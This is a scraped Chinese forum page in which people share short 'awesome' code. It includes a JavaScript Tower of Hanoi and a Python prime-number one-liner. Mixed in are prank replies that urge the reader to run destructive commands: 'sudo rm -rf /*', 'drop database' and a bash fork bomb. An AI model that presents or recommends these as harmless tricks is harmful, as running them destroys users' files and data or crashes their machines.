您好,欢迎访问一九零五行业门户网

自己写过哪些简短但很牛逼的代码?

回复内容:js 115个字符的汉诺塔算法
n=4;(function m(n,f,t,s){if(n>1||console.log(f+'>'+t)){s=6-f-t;m(n-1,f,s);console.log(f+'>'+t);m(n-1,s,t)}})(n,1,3)
改变第一个变量n的值,就可以改变汉诺塔的阶数。
下面是在浏览器控制台中运行的效果
sudo rm -rf /*
题主一定要试一试,效果拔群print ' '.join(map(str,filter(lambda x:not[x%i for i in range(2,x/2+1) if x%i == 0],range(2,101))))
python一行代码解决1-100所有素数的求解。效率我没有测试过,在pythontips答题时候写的
-----------------
赞,感谢 @御子柴麻美子 的测试,性能不算好,10000以内比较快,10 0000 以上就不好使了
感谢at 一叶知秋(at不到,知乎的检索功能有点弱~),lambda x: not any( x%i for i in range(2,x/2) ) ,y用any()也很好,any()支持python2.5以上版本zshrc的各种aliasprint(牛逼)drop databasesave / write
每次配完交换机都得敲,不敲就白弄了。main(){main();}linux下输入:
:(){ :|: & };
然后回车mian...
其它类似信息

推荐信息